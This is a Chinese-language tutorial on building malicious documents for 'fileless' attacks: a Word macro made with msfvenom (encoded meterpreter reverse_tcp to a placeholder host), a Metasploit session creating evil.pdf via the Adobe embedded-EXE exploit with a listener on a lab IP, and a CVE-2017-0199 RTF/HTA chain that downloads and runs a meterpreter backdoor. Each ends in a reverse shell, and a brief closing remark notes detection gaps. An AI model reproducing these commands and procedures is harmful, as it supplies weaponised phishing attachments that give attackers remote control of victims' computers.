無檔案攻擊——巨集病毒製作
1. 惡意檔案形式:基於巨集
(1)落地形式
非PE的間接檔案:A、基於巨集(型別III:Offic文件、PDF文件)
(2)型別介紹
許多專業安全分析人員通過長期的跟蹤分析,確認無檔案的攻擊其實是包含各種檔案的。在這種情況下,攻擊者提供惡意檔案通常會作為電子郵件附件,用於以下其中一種目的:
a) 惡意檔案可以充當其他檔案的靈活容器。例如,攻擊者可以在Microsoft Office檔案中嵌入JavaScript檔案,並對收件人進行社會工程攻擊,當受害者開啟嵌入的檔案時,惡意檔案就開始執行所帶的指令碼了。另外,可以攜帶惡意檔案的其他檔案型別包括PDF和RTF。由於此功能是特定應用程式才包含的一項功能,因此防毒軟體的技術通常不會干擾這些檔案的使用。
b) 惡意檔案可以攜帶執行惡意程式碼的漏洞:如今的檔案功能越來越複雜,不過功能多的同時所包含的攻擊面也就增大,比如攻擊者可以利用諸如解析漏洞之類的漏洞。在這種情況下,攻擊者就可以在受損應用程式的記憶體中觸發捆綁的shellcode,執行攻擊,即使不將程式碼儲存到檔案系統,攻擊者也可以在發起攻擊。
c) 檔案可以執行傳播過程中的惡意邏輯,如今的檔案都支援強大的指令碼功能,例如Microsoft Office執行VBA巨集的功能。這些功能允許攻擊者在沒有編譯可執行檔案的情況下實現惡意邏輯,這就是利用了許多防毒工具在區分惡意指令碼和良性指令碼方面的弱點。檔案指令碼功能包括啟動程式和下載惡意程式碼。
(3)例項生成
a) Word巨集病毒製作
MSF生成巨集病毒
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=xx.xx.xx.xx lport=4444 -f vba -o 123.vba
建立一個新word,點選選單欄裡的檢視,檢視巨集中新建一個巨集名:
複製貼上vba檔案程式碼:
儲存為docm格式檔案。
在msf上開啟監聽,靶機上點選生成的docm格式檔案,成功反彈shell:
b) PDF病毒製作
環境:
攻擊機:Kali
目標作業系統:Windows 10或Windows 7 (關閉防火牆和安全軟體)
目標軟體:Adobe Reader 8.1.2 (8.x 9.x 是版本範圍)
生成惡意檔案:(紅色為指令輸入)
msf6 > search adobe_pdf Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 excellent No Adobe PDF Embedded EXE Social Engineering 1 exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 excellent No Adobe PDF Escape EXE Social Engineering (No JavaScript) Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs msf6 > use 0 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe): Name Current Setting Required Description ---- --------------- -------- ----------- EXENAME no The Name of payload exe. FILENAME evil.pdf no The output filename. INFILENAME /usr/share/metasp yes The Input PDF filename. loit-framework/da ta/exploits/CVE-2 010-1240/template .pdf LAUNCH_MESSAGE To view the encry no The message to display in t pted content plea he File: area se tick the "Do n ot show this mess age again" box an d press Open. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.16.54.128 yes The listen address (an interface ma y be specified) LPORT 4444 yes The listen port **DisablePayloadHandler: True (no handler will be created!)** Exploit target: Id Name -- ---- 0 Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English) msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > run [*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'... [*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'... [*] Using 'windows/meterpreter/reverse_tcp' as payload... [+] Parsing Successful. Creating 'evil.pdf' file... [+] evil.pdf stored at /root/.msf4/local/evil.pdf 開啟埠監聽 msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface ma y be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) > set LHOST 172.16.54.128 LHOST => 172.16.54.128 msf6 exploit(multi/handler) > run
開啟檔案後,即被getshell:
c) RTF巨集病毒製作
不法分子主要利用Office RTF漏洞傳播相關字尾名為“.doc”的檔案,但實際上這是一個RTF檔案。因為Office的相容性,檔案可以正常開啟,但在開啟過程中存在漏洞。該漏洞可導致木馬在不執行巨集的情況下從網上下載並執行惡意程式,進而對受害者的電腦進行攻擊。
漏洞利用:CVE-2017-0199
攻擊載體: Microsoft Office RTF文件
受影響Office版本: Microsoft office 2016、2013、2010、2007。
利用該漏洞的攻擊流程:
攻擊方利用Office提供的OLE技術,將包含了惡意連結的URL Moniker(COM物件)嵌入RTF文件中,該惡意連結指向遠端伺服器中的惡意HTA檔案。攻擊方利用釣魚郵件等方式誘使使用者儲存RTF文件到計算機中並開啟,於是URL Moniker使winword.exe向惡意連結指向的地址發出HTTP請求,伺服器返回一個帶有嵌入式惡意程式碼的假RTF檔案,並在HTTP響應頭部新增鍵值對(Content-Type:application/hta),這使winword.exe以為這是一個HTA檔案,於是通過COM物件查詢處理hta檔案的程式Microsoft HTA(mshta.exe),於是mshta.exe開啟這個假RTF檔案,自動載入並執行包含PowerShell命令的VB指令碼。
樣例生成:
首先,建立一個正常的word文件,作為將要連結的rtf物件,如命名為Qianli.docx
然後,將Qianli.docx重新命名為Qianli.rtf
放到apache伺服器上面:
並建立另一個文件,選擇插入->物件->由檔案建立,輸入rtf檔案路徑後選擇連結到檔案。然後將該檔案另存為rtf檔案,此處命名為exp.rtf
此時,開啟exp.rtf可以看到剛剛連結的Qianli.rtf是以一個整體的格式顯示。
這時,我們在伺服器端修改Qianli.rtf檔案為Visual Script Script程式碼需要注意反斜槓的轉義,這段程式碼將彈出本地計算器。
需要改一下Apache的配置,該程式碼會將該目錄下的檔案識別為hta指令碼,然後重啟伺服器。
點選“是”即可彈出計算器
自動執行計算器程式:
後門準備
利用最metasploit生成meterpreter後門,放在與Qianli.rtf相同目錄下。
下圖,左圖尋找相關payload,右圖生成:
修改剛剛的Qianli.rtf,下載檔案並執行:
msf監聽本地4444埠,靶機執行rtf檔案,即可反彈shell:
當前檢測問題:
在本次word巨集病毒與rtf巨集病毒試驗中,均在底層呼叫了rundll32
生成的告警也只是溯源到rundll32
並未指明是哪個巨集病毒檔案,無法進行進一步處理。需要在後面開發中增加該需求